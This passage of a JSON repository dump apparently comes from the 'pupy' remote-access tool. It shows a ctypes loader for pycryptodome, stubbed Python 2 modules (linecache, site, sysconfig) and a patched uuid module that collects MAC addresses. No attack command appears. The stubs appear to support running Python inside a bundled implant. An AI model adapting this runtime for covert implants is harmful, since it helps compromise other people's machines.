    "content": "# ===================================================================\n#\n# Copyright (c) 2014, Legrandin <helderijs@gmail.com>\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n#\n# 1. Redistributions of source code must retain the above copyright\n#    notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n#    notice, this list of conditions and the following disclaimer in\n#    the documentation and/or other materials provided with the\n#    distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n# ===================================================================\n\nimport abc\nimport sys\n\nimport ctypes\nfrom ctypes import (CDLL, c_void_p, byref, c_ulong, c_ulonglong, c_size_t,\n                    create_string_buffer, c_ubyte, c_uint)\nfrom ctypes.util import find_library\nfrom ctypes import Array as _Array\n\nfrom Crypto.Util.py3compat import byte_string\nfrom Crypto.Util._file_system import pycryptodome_filename\n\n#\n# List of file suffixes for Python extensions\n#\nif sys.version_info[0] < 3:\n\n    import imp\n    extension_suffixes = []\n    for ext, mod, typ in imp.get_suffixes():\n        if typ == imp.C_EXTENSION:\n            extension_suffixes.append(ext)\n\nelse:\n\n    from importlib import machinery\n    extension_suffixes = machinery.EXTENSION_SUFFIXES\n\n# Which types with buffer interface we support (apart from byte strings)\nif sys.version_info[0] == 2 and sys.version_info[1] < 7:\n    _buffer_type = (bytearray)\nelse:\n    _buffer_type = (bytearray, memoryview)\n\n\nnull_pointer = None\n\n\nclass _VoidPointer(object):\n    @abc.abstractmethod\n    def get(self):\n        \"\"\"Return the memory location we point to\"\"\"\n        return\n\n    @abc.abstractmethod\n    def address_of(self):\n        \"\"\"Return a raw pointer to this pointer\"\"\"\n        return\n\n\ndef load_lib(name, cdecl):\n    import platform\n    bits, linkage = platform.architecture()\n    if \".\" not in name and not linkage.startswith(\"Win\"):\n        full_name = find_library(name)\n        if full_name is None:\n            raise OSError(\"Cannot load library '%s'\" % name)\n        name = full_name\n    return CDLL(name)\n\n\ndef get_c_string(c_string):\n    return c_string.value\n\ndef get_raw_buffer(buf):\n    return buf.raw\n\n# ---- Get raw pointer ---\n\nif sys.version_info[0] == 2 and sys.version_info[1] == 6:\n    # ctypes in 2.6 does not define c_ssize_t. Replacing it\n    # with c_size_t keeps the structure correctely laid out\n    _c_ssize_t = c_size_t\nelse:\n    _c_ssize_t = ctypes.c_ssize_t\n\n_PyBUF_SIMPLE = 0\n_PyObject_GetBuffer = ctypes.pythonapi.PyObject_GetBuffer\n_PyBuffer_Release = ctypes.pythonapi.PyBuffer_Release\n_py_object = ctypes.py_object\n_c_ssize_p = ctypes.POINTER(_c_ssize_t)\n\n\n# See Include/object.h for CPython\n# and https://github.com/pallets/click/blob/master/click/_winconsole.py\nclass _Py_buffer(ctypes.Structure):\n    _fields_ = [\n        ('buf',         c_void_p),\n        ('obj',         ctypes.py_object),\n        ('len',         _c_ssize_t),\n        ('itemsize',    _c_ssize_t),\n        ('readonly',    ctypes.c_int),\n        ('ndim',        ctypes.c_int),\n        ('format',      ctypes.c_char_p),\n        ('shape',       _c_ssize_p),\n        ('strides',     _c_ssize_p),\n        ('suboffsets',  _c_ssize_p),\n        ('internal',    c_void_p)\n    ]\n\n    # Extra field for CPython 2.6/2.7\n    if sys.version_info[0] == 2:\n        _fields_.insert(-1, ('smalltable', _c_ssize_t * 2))\n\ndef c_uint8_ptr(data):\n    if byte_string(data) or isinstance(data, _Array):\n        return data\n    elif isinstance(data, _buffer_type):\n        obj = _py_object(data)\n        buf = _Py_buffer()\n        _PyObject_GetBuffer(obj, byref(buf), _PyBUF_SIMPLE)\n        try:\n            buffer_type = c_ubyte * buf.len\n            return buffer_type.from_address(buf.buf)\n        finally:\n            _PyBuffer_Release(byref(buf))\n    else:\n        raise TypeError(\"Object type %s cannot be passed to C code\" % type(data))\n\n# ---\n\n\nclass VoidPointer_ctypes(_VoidPointer):\n    \"\"\"Model a newly allocated pointer to void\"\"\"\n\n    def __init__(self):\n        self._p = c_void_p()\n\n    def get(self):\n        return self._p\n\n    def address_of(self):\n        return byref(self._p)\n\ndef VoidPointer():\n    return VoidPointer_ctypes()\n\nbackend = \"ctypes\"\ndel ctypes\n\n\nclass SmartPointer(object):\n    \"\"\"Class to hold a non-managed piece of memory\"\"\"\n\n    def __init__(self, raw_pointer, destructor):\n        self._raw_pointer = raw_pointer\n        self._destructor = destructor\n\n    def get(self):\n        return self._raw_pointer\n\n    def release(self):\n        rp, self._raw_pointer = self._raw_pointer, None\n        return rp\n\n    def __del__(self):\n        try:\n            if self._raw_pointer is not None:\n                self._destructor(self._raw_pointer)\n                self._raw_pointer = None\n        except AttributeError:\n            pass\n\n\ndef load_pycryptodome_raw_lib(name, cdecl):\n    \"\"\"Load a shared library and return a handle to it.\n\n    @name,  the name of the library expressed as a PyCryptodome module,\n            for instance Crypto.Cipher._raw_cbc.\n\n    @cdecl, the C function declarations.\n    \"\"\"\n\n    split = name.split(\".\")\n    dir_comps, basename = split[:-1], split[-1]\n    attempts = []\n    for ext in extension_suffixes:\n        try:\n            filename = basename + ext\n            return load_lib(pycryptodome_filename(dir_comps, filename),\n                            cdecl)\n        except OSError as exp:\n            attempts.append(\"Trying '%s': %s\" % (filename, str(exp)))\n    raise OSError(\"Cannot load native module '%s': %s\" % (name, \", \".join(attempts)))\n\n\nif sys.version_info[:2] != (2, 6):\n\n    def is_buffer(x):\n        \"\"\"Return True if object x supports the buffer interface\"\"\"\n        return isinstance(x, (bytes, bytearray, memoryview))\n\n    def is_writeable_buffer(x):\n        return (isinstance(x, bytearray) or\n                (isinstance(x, memoryview) and not x.readonly))\n\nelse:\n\n    def is_buffer(x):\n        return isinstance(x, (bytes, bytearray))\n\n    def is_writeable_buffer(x):\n        return isinstance(x, bytearray)\n"
  },
  {
    "path": "pupy/library_patches_py2/linecache.py",
    "content": "__all__ = (\n    'getline', 'clearcache', 'checkcache', 'getlines'\n)\n\ndef getline(filename, lineno, module_globals=None):\n    return ''\n\n\ndef clearcache():\n    pass\n\n\ndef getlines(filename, module_globals=None):\n    return []\n\n\ndef checkcache(filename=None):\n    pass\n\n\ndef updatecache(filename, module_globals=None):\n    pass\n"
  },
  {
    "path": "pupy/library_patches_py2/site.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport sys\nimport os\nimport __builtin__\n\nPREFIXES = []\nENABLE_USER_SITE = False\nUSER_SITE = ''\nUSER_BASE = ''\n\ndef addpackage(sitedir, name, known_paths):\n    pass\n\ndef addsitedir(sitedir, known_paths=None):\n    pass\n\ndef check_enableusersite():\n    return False\n\ndef getuserbase():\n    return ''\n\ndef getusersitepackages():\n    return []\n\ndef addusersitepackages(known_paths):\n    return []\n\ndef getsitepackages():\n    return []\n\ndef addsitepackages(known_paths):\n    return []\n\ndef main():\n    pass\n"
  },
  {
    "path": "pupy/library_patches_py2/sysconfig.py_old",
    "content": "import sys\nfrom bundlevars import bundlevars\n\ndef parse_config_h(fp, vars=None):\n    return {}\n\n\ndef get_config_h_filename():\n    return None\n\n\ndef get_scheme_names():\n    return tuple()\n\n\ndef get_path_names():\n    return tuple()\n\n\ndef get_paths(scheme=None, vars=None, expand=True):\n    return tuple()\n\n\ndef get_path(name, scheme=None, vars=None, expand=True):\n    return ''\n\n\ndef get_config_vars(*args):\n    if not args:\n        return dict(bundlevars)\n\n    return {\n        k: bundlevars.get(k, None) for k in args\n    }\n\n\ndef get_config_var(name):\n    return None\n\n\ndef get_platform():\n    return sys.platform\n\n\ndef get_python_version():\n    return '.'.join(sys.version.split('.', 3)[:2])\n"
  },
  {
    "path": "pupy/library_patches_py2/uuid.py",
    "content": "r\"\"\"UUID objects (universally unique identifiers) according to RFC 4122.\n\nThis module provides immutable UUID objects (class UUID) and the functions\nuuid1(), uuid3(), uuid4(), uuid5() for generating version 1, 3, 4, and 5\nUUIDs as specified in RFC 4122.\n\nIf all you want is a unique ID, you should probably call uuid1() or uuid4().\nNote that uuid1() may compromise privacy since it creates a UUID containing\nthe computer's network address.  uuid4() creates a random UUID.\n\nTypical usage:\n\n    >>> import uuid\n\n    # make a UUID based on the host ID and current time\n    >>> uuid.uuid1()\n    UUID('a8098c1a-f86e-11da-bd1a-00112444be1e')\n\n    # make a UUID using an MD5 hash of a namespace UUID and a name\n    >>> uuid.uuid3(uuid.NAMESPACE_DNS, 'python.org')\n    UUID('6fa459ea-ee8a-3ca4-894e-db77e160355e')\n\n    # make a random UUID\n    >>> uuid.uuid4()\n    UUID('16fd2706-8baf-433b-82eb-8c7fada847da')\n\n    # make a UUID using a SHA-1 hash of a namespace UUID and a name\n    >>> uuid.uuid5(uuid.NAMESPACE_DNS, 'python.org')\n    UUID('886313e1-3b8a-5372-9b90-0c9aee199e5d')\n\n    # make a UUID from a string of hex digits (braces and hyphens ignored)\n    >>> x = uuid.UUID('{00010203-0405-0607-0809-0a0b0c0d0e0f}')\n\n    # convert a UUID to a string of hex digits in standard form\n    >>> str(x)\n    '00010203-0405-0607-0809-0a0b0c0d0e0f'\n\n    # get the raw 16 bytes of the UUID\n    >>> x.bytes\n    '\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\x0b\\x0c\\r\\x0e\\x0f'\n\n    # make a UUID from a 16-byte string\n    >>> uuid.UUID(bytes=x.bytes)\n    UUID('00010203-0405-0607-0809-0a0b0c0d0e0f')\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom io import open\nfrom sys import version_info\n\nif version_info.major > 2:\n    long = int\n\n\n__author__ = 'Ka-Ping Yee <ping@zesty.ca>'\n\nRESERVED_NCS, RFC_4122, RESERVED_MICROSOFT, RESERVED_FUTURE = [\n    'reserved for NCS compatibility', 'specified in RFC 4122',\n    'reserved for Microsoft compatibility', 'reserved for future definition']\n\n\nclass UUID(object):\n    \"\"\"Instances of the UUID class represent UUIDs as specified in RFC 4122.\n    UUID objects are immutable, hashable, and usable as dictionary keys.\n    Converting a UUID to a string with str() yields something in the form\n    '12345678-1234-1234-1234-123456789abc'.  The UUID constructor accepts\n    five possible forms: a similar string of hexadecimal digits, or a tuple\n    of six integer fields (with 32-bit, 16-bit, 16-bit, 8-bit, 8-bit, and\n    48-bit values respectively) as an argument named 'fields', or a string\n    of 16 bytes (with all the integer fields in big-endian order) as an\n    argument named 'bytes', or a string of 16 bytes (with the first three\n    fields in little-endian order) as an argument named 'bytes_le', or a\n    single 128-bit integer as an argument named 'int'.\n\n    UUIDs have these read-only attributes:\n\n        bytes       the UUID as a 16-byte string (containing the six\n                    integer fields in big-endian byte order)\n\n        bytes_le    the UUID as a 16-byte string (with time_low, time_mid,\n                    and time_hi_version in little-endian byte order)\n\n        fields      a tuple of the six integer fields of the UUID,\n                    which are also available as six individual attributes\n                    and two derived attributes:\n\n            time_low                the first 32 bits of the UUID\n            time_mid                the next 16 bits of the UUID\n            time_hi_version         the next 16 bits of the UUID\n            clock_seq_hi_variant    the next 8 bits of the UUID\n            clock_seq_low           the next 8 bits of the UUID\n            node                    the last 48 bits of the UUID\n\n            time                    the 60-bit timestamp\n            clock_seq               the 14-bit sequence number\n\n        hex         the UUID as a 32-character hexadecimal string\n\n        int         the UUID as a 128-bit integer\n\n        urn         the UUID as a URN as specified in RFC 4122\n\n        variant     the UUID variant (one of the constants RESERVED_NCS,\n                    RFC_4122, RESERVED_MICROSOFT, or RESERVED_FUTURE)\n\n        version     the UUID version number (1 through 5, meaningful only\n                    when the variant is RFC_4122)\n    \"\"\"\n\n    def __init__(self, hex=None, bytes=None, bytes_le=None, fields=None,\n                       int=None, version=None):\n        r\"\"\"Create a UUID from either a string of 32 hexadecimal digits,\n        a string of 16 bytes as the 'bytes' argument, a string of 16 bytes\n        in little-endian order as the 'bytes_le' argument, a tuple of six\n        integers (32-bit time_low, 16-bit time_mid, 16-bit time_hi_version,\n        8-bit clock_seq_hi_variant, 8-bit clock_seq_low, 48-bit node) as\n        the 'fields' argument, or a single 128-bit integer as the 'int'\n        argument.  When a string of hex digits is given, curly braces,\n        hyphens, and a URN prefix are all optional.  For example, these\n        expressions all yield the same UUID:\n\n        UUID('{12345678-1234-5678-1234-567812345678}')\n        UUID('12345678123456781234567812345678')\n        UUID('urn:uuid:12345678-1234-5678-1234-567812345678')\n        UUID(bytes='\\x12\\x34\\x56\\x78'*4)\n        UUID(bytes_le='\\x78\\x56\\x34\\x12\\x34\\x12\\x78\\x56' +\n                      '\\x12\\x34\\x56\\x78\\x12\\x34\\x56\\x78')\n        UUID(fields=(0x12345678, 0x1234, 0x5678, 0x12, 0x34, 0x567812345678))\n        UUID(int=0x12345678123456781234567812345678)\n\n        Exactly one of 'hex', 'bytes', 'bytes_le', 'fields', or 'int' must\n        be given.  The 'version' argument is optional; if given, the resulting\n        UUID will have its variant and version set according to RFC 4122,\n        overriding the given 'hex', 'bytes', 'bytes_le', 'fields', or 'int'.\n        \"\"\"\n\n        if [hex, bytes, bytes_le, fields, int].count(None) != 4:\n            raise TypeError('need one of hex, bytes, bytes_le, fields, or int')\n        if hex is not None:\n            hex = hex.replace('urn:', '').replace('uuid:', '')\n            hex = hex.strip('{}').replace('-', '')\n            if len(hex) != 32:\n                raise ValueError('badly formed hexadecimal UUID string')\n            int = long(hex, 16)\n        if bytes_le is not None:\n            if len(bytes_le) != 16:\n                raise ValueError('bytes_le is not a 16-char string')\n            bytes = (bytes_le[3] + bytes_le[2] + bytes_le[1] + bytes_le[0] +\n                     bytes_le[5] + bytes_le[4] + bytes_le[7] + bytes_le[6] +\n                     bytes_le[8:])\n        if bytes is not None:\n            if len(bytes) != 16:\n                raise ValueError('bytes is not a 16-char string')\n            int = long(('%02x'*16) % tuple(map(ord, bytes)), 16)\n        if fields is not None:\n            if len(fields) != 6:\n                raise ValueError('fields is not a 6-tuple')\n            (time_low, time_mid, time_hi_version,\n             clock_seq_hi_variant, clock_seq_low, node) = fields\n            if not 0 <= time_low < 1<<32:\n                raise ValueError('field 1 out of range (need a 32-bit value)')\n            if not 0 <= time_mid < 1<<16:\n                raise ValueError('field 2 out of range (need a 16-bit value)')\n            if not 0 <= time_hi_version < 1<<16:\n                raise ValueError('field 3 out of range (need a 16-bit value)')\n            if not 0 <= clock_seq_hi_variant < 1<<8:\n                raise ValueError('field 4 out of range (need an 8-bit value)')\n            if not 0 <= clock_seq_low < 1<<8:\n                raise ValueError('field 5 out of range (need an 8-bit value)')\n            if not 0 <= node < 1<<48:\n                raise ValueError('field 6 out of range (need a 48-bit value)')\n            clock_seq = (clock_seq_hi_variant << 8) | clock_seq_low\n            int = ((time_low << 96) | (time_mid << 80) |\n                   (time_hi_version << 64) | (clock_seq << 48) | node)\n        if int is not None:\n            if not 0 <= int < 1<<128:\n                raise ValueError('int is out of range (need a 128-bit value)')\n        if version is not None:\n            if not 1 <= version <= 5:\n                raise ValueError('illegal version number')\n            # Set the variant to RFC 4122.\n            int &= ~(0xc000 << 48)\n            int |= 0x8000 << 48\n            # Set the version number.\n            int &= ~(0xf000 << 64)\n            int |= version << 76\n        self.__dict__['int'] = int\n\n    def __cmp__(self, other):\n        if isinstance(other, UUID):\n            return cmp(self.int, other.int)\n        return NotImplemented\n\n    def __hash__(self):\n        return hash(self.int)\n\n    def __int__(self):\n        return self.int\n\n    def __repr__(self):\n        return 'UUID(%r)' % str(self)\n\n    def __setattr__(self, name, value):\n        raise TypeError('UUID objects are immutable')\n\n    def __str__(self):\n        hex = '%032x' % self.int\n        return '%s-%s-%s-%s-%s' % (\n            hex[:8], hex[8:12], hex[12:16], hex[16:20], hex[20:])\n\n    def get_bytes(self):\n        bytes = ''\n        for shift in range(0, 128, 8):\n            bytes = chr((self.int >> shift) & 0xff) + bytes\n        return bytes\n\n    bytes = property(get_bytes)\n\n    def get_bytes_le(self):\n        bytes = self.bytes\n        return (bytes[3] + bytes[2] + bytes[1] + bytes[0] +\n                bytes[5] + bytes[4] + bytes[7] + bytes[6] + bytes[8:])\n\n    bytes_le = property(get_bytes_le)\n\n    def get_fields(self):\n        return (self.time_low, self.time_mid, self.time_hi_version,\n                self.clock_seq_hi_variant, self.clock_seq_low, self.node)\n\n    fields = property(get_fields)\n\n    def get_time_low(self):\n        return self.int >> 96\n\n    time_low = property(get_time_low)\n\n    def get_time_mid(self):\n        return (self.int >> 80) & 0xffff\n\n    time_mid = property(get_time_mid)\n\n    def get_time_hi_version(self):\n        return (self.int >> 64) & 0xffff\n\n    time_hi_version = property(get_time_hi_version)\n\n    def get_clock_seq_hi_variant(self):\n        return (self.int >> 56) & 0xff\n\n    clock_seq_hi_variant = property(get_clock_seq_hi_variant)\n\n    def get_clock_seq_low(self):\n        return (self.int >> 48) & 0xff\n\n    clock_seq_low = property(get_clock_seq_low)\n\n    def get_time(self):\n        return (((self.time_hi_version & 0x0fff) << 48) |\n                (self.time_mid << 32) | self.time_low)\n\n    time = property(get_time)\n\n    def get_clock_seq(self):\n        return (((self.clock_seq_hi_variant & 0x3f) << 8) |\n                self.clock_seq_low)\n\n    clock_seq = property(get_clock_seq)\n\n    def get_node(self):\n        return self.int & 0xffffffffffff\n\n    node = property(get_node)\n\n    def get_hex(self):\n        return '%032x' % self.int\n\n    hex = property(get_hex)\n\n    def get_urn(self):\n        return 'urn:uuid:' + str(self)\n\n    urn = property(get_urn)\n\n    def get_variant(self):\n        if not self.int & (0x8000 << 48):\n            return RESERVED_NCS\n        elif not self.int & (0x4000 << 48):\n            return RFC_4122\n        elif not self.int & (0x2000 << 48):\n            return RESERVED_MICROSOFT\n        else:\n            return RESERVED_FUTURE\n\n    variant = property(get_variant)\n\n    def get_version(self):\n        # The version bits are only meaningful for RFC 4122 UUIDs.\n        if self.variant == RFC_4122:\n            return int((self.int >> 76) & 0xf)\n\n    version = property(get_version)\n\ndef _popen(command, args):\n    import os\n    path = os.environ.get(\"PATH\", os.defpath).split(os.pathsep)\n    path.extend(('/sbin', '/usr/sbin'))\n    for dir in path:\n        executable = os.path.join(dir, command)\n        if (os.path.exists(executable) and\n            os.access(executable, os.F_OK | os.X_OK) and\n            not os.path.isdir(executable)):\n            break\n    else:\n        return None\n    # LC_ALL to ensure English output, 2>/dev/null to prevent output on\n    # stderr (Note: we don't have an example where the words we search for\n    # are actually localized, but in theory some system could do so.)\n    cmd = 'LC_ALL=C %s %s 2>/dev/null' % (executable, args)\n    return os.popen(cmd)\n\ndef _find_mac(command, args, hw_identifiers, get_index):\n    try:\n        pipe = _popen(command, args)\n        if not pipe:\n            return\n        with pipe:\n            for line in pipe:\n                words = line.lower().rstrip().split()\n                for i in range(len(words)):\n                    if words[i] in hw_identifiers:\n                        try:\n                            word = words[get_index(i)]\n                            mac = int(word.replace(':', ''), 16)\n                            if mac:\n                                return mac\n                        except (ValueError, IndexError):\n                            # Virtual interfaces, such as those provided by\n                            # VPNs, do not have a colon-delimited MAC address\n                            # as expected, but a 16-byte HWAddr separated by\n                            # dashes. These should be ignored in favor of a\n                            # real MAC address\n                            pass\n    except IOError:\n        pass\n\ndef _sysfs_getnode():\n    ' Get MAC address from sysfs '\n\n    import os\n\n    try:\n        SYSFS_CLASS_NET = '/sys/class/net'\n\n        devices = []\n        non_devices = []\n\n        for device in os.listdir(SYSFS_CLASS_NET):\n            device = os.path.join(SYSFS_CLASS_NET, device)\n\n            address_node = os.path.join(SYSFS_CLASS_NET, device, 'address')\n            device_node = os.path.join(SYSFS_CLASS_NET, device, 'device')\n            carrier_node = os.path.join(SYSFS_CLASS_NET, device, 'carrier')\n            type_node = os.path.join(SYSFS_CLASS_NET, device, 'type')\n\n            try:\n                address = int(open(address_node).read().strip().replace(':', ''), 16)\n            except ValueError:\n                # Omit interfaces without MAC (virtual tunnels etc)\n                continue\n\n            try:\n                carrier = int(open(carrier_node).read().strip())\n            except IOError:\n                carrier = 2\n\n            nettype = int(open(type_node).read().strip())\n\n            # Prioirty have physical devices, then by carrier\n            # Then by lowest 3 bytes of MAC address\n            weight = ((\n                ((nettype << 3) | (1 - carrier)) << 24) | \\\n                    (address & 0xFFFFFF))\n\n            if os.path.exists(device_node):\n                devices.append((address, weight))\n            else:\n                non_devices.append((address, weight))\n\n        # Order by weight, in case there are several interfaces\n        devices = sorted(devices, key=lambda __weight: __weight[1])\n        non_devices = sorted(non_devices, key=lambda __weight1: __weight1[1])\n\n        devices.extend(non_devices)\n        if devices:\n            return devices[0][0]\n\n    except OSError:\n        pass\n\ndef _ifconfig_getnode():\n    \"\"\"Get the hardware address on Unix by running ifconfig.\"\"\"\n    # This works on Linux ('' or '-a'), Tru64 ('-av'), but not all Unixes.\n    for args in ('', '-a', '-av'):\n        mac = _find_mac('ifconfig', args, ['hwaddr', 'ether'], lambda i: i+1)\n        if mac:\n            return mac\n\ndef _arp_getnode():\n    \"\"\"Get the hardware address on Unix by running arp.\"\"\"\n    import socket\n    try:\n        ip_addr = socket.gethostbyname(socket.gethostname())\n    except EnvironmentError:\n        return None\n\n    # Try getting the MAC addr from arp based on our IP address (Solaris).\n    return _find_mac('arp', '-an', [ip_addr], lambda i: -1)\n\ndef _lanscan_getnode():\n    \"\"\"Get the hardware address on Unix by running lanscan.\"\"\"\n    # This might work on HP-UX.\n    return _find_mac('lanscan', '-ai', ['lan0'], lambda i: 0)\n\ndef _netstat_getnode():\n    \"\"\"Get the hardware address on Unix by running netstat.\"\"\"\n    # This might work on AIX, Tru64 UNIX and presumably on IRIX.\n    try:\n        pipe = _popen('netstat', '-ia')\n        if not pipe:\n            return\n        with pipe:\n            words = pipe.readline().rstrip().split()\n            try:\n                i = words.index('Address')\n            except ValueError:\n                return\n            for line in pipe:\n                try:\n                    words = line.rstrip().split()\n                    word = words[i]\n                    if len(word) == 17 and word.count(':') == 5:\n                        mac = int(word.replace(':', ''), 16)\n                        if mac:\n                            return mac\n                except (ValueError, IndexError):\n                    pass\n    except OSError:\n        pass\n\ndef _ipconfig_getnode():\n    \"\"\"Get the hardware address on Windows by running ipconfig.exe.\"\"\"\n\n    # First try something like this:\n    # http://code.activestate.com/recipes/347812-get-the-mac-address-of-a-remote-computer/\n    try:\n        import ctypes\n        import socket\n        import struct\n\n        # Check for api availability\n        try:\n            SendARP = ctypes.windll.Iphlpapi.SendARP\n        except:\n            raise NotImplementedError('Usage only on Windows 2000 and above')\n\n        inetaddr = None\n\n        # Try external ip first\n        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        try:\n            s.connect(('8.8.8.8', 53))\n            hostip = s.getsockname()[0]\n            inetaddr = ctypes.windll.wsock32.inet_addr(hostip)\n\n        except socket.error:\n            pass\n\n        finally:\n            s.close()\n\n        if inetaddr is None:\n            # Doesn't work with loopbacks, but let's try and help.\n            host = socket.gethostname()\n\n            # gethostbyname blocks, so use it wisely.\n            try:\n                inetaddr = ctypes.windll.wsock32.inet_addr(host)\n                if inetaddr in (0, -1):\n                    raise Exception\n            except:\n                hostip = socket.gethostbyname(host)\n                inetaddr = ctypes.windll.wsock32.inet_addr(hostip)\n\n        buffer = ctypes.c_buffer(6)\n        addlen = ctypes.c_ulong(ctypes.sizeof(buffer))\n        if SendARP(inetaddr, 0, ctypes.byref(buffer), ctypes.byref(addlen)) != 0:\n            raise WindowsError('Retreival of mac address(%s) - failed' % host)\n\n        # Convert binary data into an int.\n        return int(''.join(\"%02x\"%(x) for x in struct.unpack('BBBBBB', buffer)), 16)\n\n    except:\n        import os\n        import re\n        dirs = ['', r'c:\\windows\\system32', r'c:\\winnt\\system32']\n        try:\n            import ctypes\n            buffer = ctypes.create_string_buffer(300)\n            ctypes.windll.kernel32.GetSystemDirectoryA(buffer, 300)\n            dirs.insert(0, buffer.value.decode('mbcs'))\n        except:\n            pass\n        for dir in dirs:\n            try:\n                pipe = os.popen(os.path.join(dir, 'ipconfig') + ' /all')\n            except IOError:\n                continue\n            with pipe:\n                for line in pipe:\n                    value = line.split(':')[-1].strip().lower()\n                    if re.match('([0-9a-f][0-9a-f]-){5}[0-9a-f][0-9a-f]', value):\n                        return int(value.replace('-', ''), 16)\n\ndef _netbios_getnode():\n    \"\"\"Get the hardware address on Windows using NetBIOS calls.\n    See http://support.microsoft.com/kb/118623 for details.\"\"\"\n    import win32wnet\n    import netbios\n    ncb = netbios.NCB()\n    ncb.Command = netbios.NCBENUM\n    ncb.Buffer = adapters = netbios.LANA_ENUM()\n    adapters._pack()\n    if win32wnet.Netbios(ncb) != 0:\n        return\n    adapters._unpack()\n    for i in range(adapters.length):\n        ncb.Reset()\n        ncb.Command = netbios.NCBRESET\n        ncb.Lana_num = ord(adapters.lana[i])\n        if win32wnet.Netbios(ncb) != 0:\n            continue\n        ncb.Reset()\n        ncb.Command = netbios.NCBASTAT\n        ncb.Lana_num = ord(adapters.lana[i])\n        ncb.Callname = '*'.ljust(16)\n        ncb.Buffer = status = netbios.ADAPTER_STATUS()\n        if win32wnet.Netbios(ncb) != 0:\n            continue\n        status._unpack()\n        bytes = map(ord, status.adapter_address)\n        return ((bytes[0]<<40) + (bytes[1]<<32) + (bytes[2]<<24) +\n                (bytes[3]<<16) + (bytes[4]<<8) + bytes[5])\n\n# Thanks to Thomas Heller for ctypes and for his help with its use here.\n\n# If ctypes is available, use it to find system routines for UUID generation.\n_uuid_generate_random = _uuid_generate_time = _UuidCreate = None\ntry:\n    import os\n    import ctypes\n    import ctypes.util\n\n    # The uuid_generate_* routines are provided by libuuid on at least\n    # Linux and FreeBSD, and provided by libc on Mac OS X.\n    if os.name not in ['nt', 'ce']:\n        for libname in ['uuid', 'c']:\n            try:\n                lib = ctypes.CDLL(ctypes.util.find_library(libname))\n            except:\n                continue\n            if hasattr(lib, 'uuid_generate_random'):\n                _uuid_generate_random = lib.uuid_generate_random\n            if hasattr(lib, 'uuid_generate_time'):\n                _uuid_generate_time = lib.uuid_generate_time\n                if _uuid_generate_random is not None:\n                    break  # found everything we were looking for\n\n    # The uuid_generate_* functions are broken on MacOS X 10.5, as noted\n    # in issue #8621 the function generates the same sequence of values\n    # in the parent process and all children created using fork (unless\n    # those children use exec as well).\n    #\n    # Assume that the uuid_generate functions are broken from 10.5 onward,\n    # the test can be adjusted when a later version is fixed.\n    import sys\n    if sys.platform == 'darwin':\n        import os\n        if int(os.uname()[2].split('.')[0]) >= 9:\n            _uuid_generate_random = _uuid_generate_time = None\n\n    # On Windows prior to 2000, UuidCreate gives a UUID containing the\n    # hardware address.  On Windows 2000 and later, UuidCreate makes a\n    # random UUID and UuidCreateSequential gives a UUID containing the\n    # hardware address.  These routines are provided by the RPC runtime.\n    # NOTE:  at least on Tim's WinXP Pro SP2 desktop box, while the last\n    # 6 bytes returned by UuidCreateSequential are fixed, they don't appear\n    # to bear any relationship to the MAC address of any network device\n    # on the box.\n    try:\n        lib = ctypes.windll.rpcrt4\n    except:\n        lib = None\n    _UuidCreate = getattr(lib, 'UuidCreateSequential',\n                          getattr(lib, 'UuidCreate', None))\nexcept:\n    pass\n\ndef _unixdll_getnode():\n    \"\"\"Get the hardware address on Unix using ctypes.\"\"\"\n    _buffer = ctypes.create_string_buffer(16)\n    _uuid_generate_time(_buffer)\n    return UUID(bytes=_buffer.raw).node\n\ndef _windll_getnode():\n    \"\"\"Get the hardware address on Windows using ctypes.\"\"\"\n    _buffer = ctypes.create_string_buffer(16)\n    if _UuidCreate(_buffer) == 0:\n        return UUID(bytes=_buffer.raw).node\n\ndef _netiface_getnode():\n    from socket import AF_INET, AF_INET6, SOCK_DGRAM, inet_ntop, socket\n    from ctypes import (\n        Structure, Union, POINTER,\n        pointer, get_errno, cast,\n        c_ushort, c_byte, c_void_p, c_char_p, c_uint,\n        c_uint16, c_uint32, CDLL\n    )\n    import fcntl\n    import struct\n\n    class struct_sockaddr(Structure):\n        _fields_ = [\n            ('sa_family', c_ushort),\n            ('sa_data', c_byte * 14),]\n\n    class struct_sockaddr_in(Structure):\n        _fields_ = [\n            ('sin_family', c_ushort),\n            ('sin_port', c_uint16),\n            ('sin_addr', c_byte * 4)]\n\n    class struct_sockaddr_in6(Structure):\n        _fields_ = [\n            ('sin6_family', c_ushort),\n            ('sin6_port', c_uint16),\n            ('sin6_flowinfo', c_uint32),\n            ('sin6_addr', c_byte * 16),\n            ('sin6_scope_id', c_uint32)]\n\n    class union_ifa_ifu(Union):\n        _fields_ = [\n            ('ifu_broadaddr', POINTER(struct_sockaddr)),\n            ('ifu_dstaddr', POINTER(struct_sockaddr)),]\n\n    class struct_ifaddrs(Structure):\n        pass\n\n    struct_ifaddrs._fields_ = [\n        ('ifa_next', POINTER(struct_ifaddrs)),\n        ('ifa_name', c_char_p),\n        ('ifa_flags', c_uint),\n        ('ifa_addr', 